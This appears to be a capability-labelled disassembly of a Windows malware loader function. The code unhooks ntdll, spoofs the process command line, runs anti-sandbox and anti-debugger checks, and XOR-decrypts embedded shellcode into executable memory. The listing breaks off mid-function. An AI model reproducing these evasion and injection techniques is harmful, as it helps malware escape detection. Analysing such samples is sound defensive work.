Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x948
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x8b0], xmm6
mov dword [rbp + 0x8f0], ecx
mov qword [rbp + 0x8f8], rdx
call fcn.140002dd0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x850], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x848], rax
mov dword [rbp + 0x8ac], 0xffffffff
mov ecx, 0x1540
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x840], rax
add dword [rbp + 0x8ac], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x8ac]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x840]
add rax, rdx
movsd xmm1, qword [0x140006650]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x8ac]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x840]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x8ac]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x840]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003ea0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x8ac], 0x2a6
jle 0x1400014cb
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x838], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8a0], rax
cmp qword [rbp + 0x8a0], 0
jne 0x140001618
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8a0], rax
cmp qword [rbp + 0x8a0], 0
je 0x14000198a
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x690]
mov rax, qword [rbp + 0x838]
mov r10, qword [rbp + 0x8a0]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x690]
mov qword [rbp + 0x830], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x828], rax
mov rax, qword [rbp + 0x828]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x820], rax
mov rax, qword [rbp + 0x820]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x818], rax
mov rax, qword [rbp + 0x830]
mov qword [rbp + 0x810], rax
mov dword [rbp + 0x89c], 0xffffffff
mov ecx, 0x1858
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x808], rax
add dword [rbp + 0x89c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x89c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x808]
add rax, rdx
movsd xmm1, qword [0x140006650]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x89c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x808]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x89c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x808]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003ea0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x89c], 0x309
jle 0x140001741
mov rax, qword [rbp + 0x810]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x830]
add rax, rdx
mov qword [rbp + 0x800], rax
mov word [rbp + 0x89a], 0
jmp 0x140001972
mov rax, qword [rbp + 0x800]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x800]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x89a]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7f8], rax
mov rax, qword [rbp + 0x7f8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001961
mov dword [rbp + 0x658], 0
mov rax, qword [rbp + 0x7f8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x830]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x658]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x7f8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7f8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x818]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x830]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x658]
mov rax, qword [rbp + 0x7f8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7f8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x830]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x658]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x89a]
add eax, 1
mov word [rbp + 0x89a], ax
mov rax, qword [rbp + 0x800]
movzx eax, word [rax + 6]
cmp word [rbp + 0x89a], ax
jb 0x140001836
mov dword [rbp + 0x65c], 0
mov rax, qword [rbp + 0x850]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7f0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x660]
lea rax, [rbp + 0x65c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x7f0]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x668]
add rax, 0x3c
mov qword [rbp + 0x7e8], rax
mov rax, qword [rbp + 0x7e8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x7e8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x7e0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7d8], rax
mov rax, qword [rbp + 0x7d8]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x30a1a80
mov ecx, 0
call rax
mov qword [rbp + 0x7e0], rax
cmp qword [rbp + 0x7e0], 0
je 0x140002cff
mov rax, qword [rbp + 0x7e0]
mov edx, 0x30a1a80
mov rcx, rax
call fcn.1400040a0
mov rax, qword [rbp + 0x7e0]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7d0], rax
mov rax, qword [rbp + 0x7d0]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x7c8], rax
cmp qword [rbp + 0x7c8], 0
jne 0x140002cff
mov qword [rbp + 0x7c0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7b8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x7b8]
mov r9d, 0x3000
mov r8d, 0x392
mov edx, 0
call rax
mov qword [rbp + 0x7c0], rax
cmp qword [rbp + 0x7c0], 0
je 0x140002cff
mov dword [rbp + 0x7b4], 0x21e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7a8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7a0], rax
mov rax, qword [rbp + 0x7a0]
call rax
mov dword [rbp + 0x79c], eax
mov eax, dword [rbp + 0x7b4]
mov r8, qword [rbp + 0x7a8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x7a0]
call rax
mov dword [rbp + 0x798], eax
mov eax, dword [rbp + 0x798]
sub eax, dword [rbp + 0x79c]
cmp eax, 0x1ec
jbe 0x140002cff
mov qword [rbp + 0x790], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x788]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x476ea80
mov ecx, 0
call rax
mov qword [rbp + 0x790], rax
cmp qword [rbp + 0x790], 0
je 0x140002cff
mov rax, qword [rbp + 0x790]
mov edx, 0x476ea80
mov rcx, rax
call fcn.1400040a0
mov rax, qword [rbp + 0x790]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x780]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x778], rax
cmp qword [rbp + 0x778], 0
jne 0x140002cff
mov qword [rbp + 0x770], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x47b5e80
mov ecx, 0
call rax
mov qword [rbp + 0x770], rax
cmp qword [rbp + 0x770], 0
je 0x140002cff
mov rax, qword [rbp + 0x770]
mov edx, 0x47b5e80
mov rcx, rax
call fcn.1400040a0
mov rax, qword [rbp + 0x770]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov dword [rbp + 0x654], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x760], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x654]
mov r8, qword [rbp + 0x760]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x654]
cmp eax, 1
je 0x140002cff
mov ecx, 0x508
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x508
jne 0x140002cff
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x750], rax
cmp qword [rbp + 0x750], 0
jne 0x140002cff
lea rax, [rbp + 0x140]
lea rdx, [0x140006148]
mov ecx, 0xa0
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
mov rax, qword [rbp + 0x848]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x848]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x740], rax
mov rax, qword [rbp + 0x748]
mov r8d, 0
mov edx, 0x505
mov ecx, 0x40000
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
mov r9, qword [rbp + 0x740]
mov r8d, 0x505
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x850]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
mov ecx, 0x1318
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x720], rax
mov ecx, 0x1318
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x718], rax
mov dword [rbp + 0x894], 0
jmp 0x140002090
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x894]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x720]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x894], 1
cmp dword [rbp + 0x894], 0x262
jle 0x140002006
mov dword [rbp + 0x894], 0
jmp 0x1400020fe
mov eax, dword [rbp + 0x894]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x720]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x894]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x718]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003dc0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x894], 1
cmp dword [rbp + 0x894], 0x262
jle 0x1400020ac
lea rdx, [rbp + 0x140]
mov rax, qword [rbp + 0x730]
mov r9, qword [rbp + 0x728]
mov r8d, 0x505
mov rcx, rax
call r9
mov dword [rbp + 0x714], 0
mov ecx, 0x7a60
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x708], rax
mov ecx, 0x7a60
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x700], rax
mov ecx, 0x7a60
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6f8], rax
mov dword [rbp + 0x890], 0
jmp 0x140002245
mov dword [rbp + 0x88c], 0
jmp 0x140002231
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x890]
cdqe
imul rcx, rax, 0x164
mov rax, qword [rbp + 0x708]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x88c]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x890]
cdqe
imul rcx, rax, 0x164
mov rax, qword [rbp + 0x700]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x88c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x88c], 1
cmp dword [rbp + 0x88c], 0x58
jle 0x140002186
add dword [rbp + 0x890], 1
cmp dword [rbp + 0x890], 0x57
jle 0x140002177
mov dword [rbp + 0x890], 0
jmp 0x1400022fe
mov dword [rbp + 0x88c], 0
jmp 0x1400022ea
mov eax, dword [rbp + 0x890]
cdqe
imul rdx, rax, 0x164
mov rax, qword [rbp + 0x708]
add rdx, rax
mov eax, dword [rbp + 0x88c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x890]
cdqe
imul rdx, rax, 0x164
mov rax, qword [rbp + 0x700]
add rdx, rax
mov eax, dword [rbp + 0x88c]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x890]
cdqe
imul rdx, rax, 0x164
mov rax, qword [rbp + 0x6f8]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x88c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x88c], 1
cmp dword [rbp + 0x88c], 0x58
jle 0x14000226d
add dword [rbp + 0x890], 1
cmp dword [rbp + 0x890], 0x57
jle 0x140002261
mov rax, qword [rbp + 0x708]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x700]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6f8]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x884], 0
mov dword [rbp + 0x880], 0
movabs rax, 0x11eb80fc78673933
movabs rdx, 0xa3477992e3a41205
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xf5ab06d46268f9bf
movabs rdx, 0x1afc3d3d618df18
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x9212830c4c079551
movabs rdx, 0x1ad43d601edf6d2c
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0xc8fd8cbe44bf48f1
movabs rdx, 0xb44638ea3d989e44
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0xc1dd880321a39833
movabs rdx, 0xde188c4403ab504b
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0xb0f7af28d0527a5f
movabs rdx, 0xcb061d9e3ea78c1b
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdx
movabs rax, 0x528f88a6b46ac9f9
movabs rdx, 0xac93a0472efed3dc
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rdx
movabs rax, 0x2f650fc218ac93a0
movabs rdx, 0x58db309113d7d8
mov qword [rbp + 0x12d], rax
mov qword [rbp + 0x135], rdx
mov ecx, 0x550
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6f0], rax
mov dword [rbp + 0x87c], 0
jmp 0x1400024c6
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x87c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6f0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x87c], 1
cmp dword [rbp + 0x87c], 0x153
jle 0x140002479
mov dword [rbp + 0x87c], 0
jmp 0x1400025de
mov dword [rbp + 0x6ac], 0
jmp 0x1400025c0
mov eax, dword [rbp + 0x87c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6f0]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x6ac]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x6f0]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x1400025b9
mov eax, dword [rbp + 0x6ac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6f0]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x6a8], eax
mov eax, dword [rbp + 0x87c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6f0]
add rax, rdx
mov edx, dword [rbp + 0x6ac]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6f0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x6ac]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6f0]
add rdx, rax
mov eax, dword [rbp + 0x6a8]
mov dword [rdx], eax
add dword [rbp + 0x87c], 1
mov eax, 0x153
sub eax, dword [rbp + 0x87c]
cmp dword [rbp + 0x6ac], eax
jl 0x1400024f0
add dword [rbp + 0x87c], 1
cmp dword [rbp + 0x87c], 0x153
jle 0x1400024e1
mov rax, qword [rbp + 0x6f0]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0xc9e87ba8ed3d89aa
movabs rdx, 0xbf4f127c08d2dea
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x3838d99b87b705a0
movabs rdx, 0x61457257f6ecb02b
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x65edafac0966c6fb
movabs rdx, 0x7a77b97b22bb02c1
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x31f8f4dfc8865df2
movabs rdx, 0x8b4cace32c3d683f
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xf9247c9af62511f2
movabs rdx, 0x6aa6721b165f1bb3
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xd6f806ff70b3ebd2
movabs rdx, 0xfdf2dcda49ff6ff3
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x32d57446bc2c5d44
movabs rdx, 0x9d0f1d755dfe8618
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x8190bc9d0f1d755d
movabs rdx, 0x9d2158b228eff3
mov qword [rbp + 0xab], rax
mov qword [rbp + 0xb3], rdx
mov dword [rbp + 0x888], 0
jmp 0x1400029ed
mov ecx, 0x7d4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c0], rax
mov dword [rbp + 0x874], 0
mov dword [rbp + 0x870], 0
mov dword [rbp + 0x878], 0
jmp 0x1400027db
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x878]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6c0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x878]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6c0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x1400027aa
add dword [rbp + 0x874], 1
jmp 0x1400027d4
mov eax, dword [rbp + 0x878]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6c0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x1400027d4
add dword [rbp + 0x870], 1
add dword [rbp + 0x878], 1
cmp dword [rbp + 0x878], 0x1f4
jle 0x140002738
mov rax, qword [rbp + 0x6c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, dword [rbp + 0x888]
cdqe
movzx edx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x884]
cdqe
movzx eax, byte [rbp + rax + 0xc0]
xor edx, eax
mov eax, dword [rbp + 0x888]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x86c], 0xffffffff
mov ecx, 0x1800
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b8], rax
add dword [rbp + 0x86c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006650]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x86c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6b8]
add rax, rdx
movsd xmm1, qword [0x140006658]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x86c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6b8]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x86c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6b8]
add rax, rdx
movq xmm1, qword [0x140006660]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x86c], 0x2fe
jle 0x140002840
cmp dword [rbp + 0x884], 0x7b
jne 0x1400028fe
mov dword [rbp + 0x884], 0
jmp 0x1400029e6
add dword [rbp + 0x884], 1
mov ecx, 0x728
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b0], rax
mov dword [rbp + 0x868], 0
jmp 0x140002970
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006650]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x868]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
movsd xmm1, qword [0x140006658]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x868], 1
cmp dword [rbp + 0x868], 0xe4
jle 0x140002922
mov dword [rbp + 0x868], 0
jmp 0x1400029da
mov eax, dword [rbp + 0x868]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x868]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6b0]
lea rbx, [rcx + rdx]
movq xmm0, rax
